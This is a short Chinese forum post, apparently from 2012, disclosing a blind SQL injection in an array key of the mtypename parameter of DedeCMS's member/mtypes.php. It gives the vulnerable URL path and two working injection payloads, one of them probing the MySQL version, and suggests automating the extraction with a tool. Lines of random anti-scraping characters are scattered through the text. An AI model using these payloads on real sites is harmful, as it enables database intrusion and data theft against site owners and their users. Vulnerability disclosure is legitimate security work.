需要magic_quotes_gpc = Off,所以说是鸡肋啊.
2 W0 s4 O/ T) g0 b. V# J' U
; h7 i% t' m. q) C0 E
- Y$ Y; F" N ]" Q: b1 B) K$ K发生在数组key里的注射漏洞,有点意思./ y! V! a5 b3 p
! [' H, Q# d6 I* m5 l4 P+ i% Q$ M
这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下
6 L. P g% e8 E : U, L* T) H1 _- B5 l6 G# y& R
http://www.xxx.com /dede/member/mtypes.php?dopost=save- L6 V; ~% F$ \" e* Q
+ U2 f/ Z7 b! l1 T- Rexploit:3 A5 D6 |0 ]! c' i. a
mtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r
, v) `. e9 |& ?mtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r1 Q1 v8 d$ }& B+ E4 R
|
发表于 2012-12-20 08:08:09
收藏
支持
反对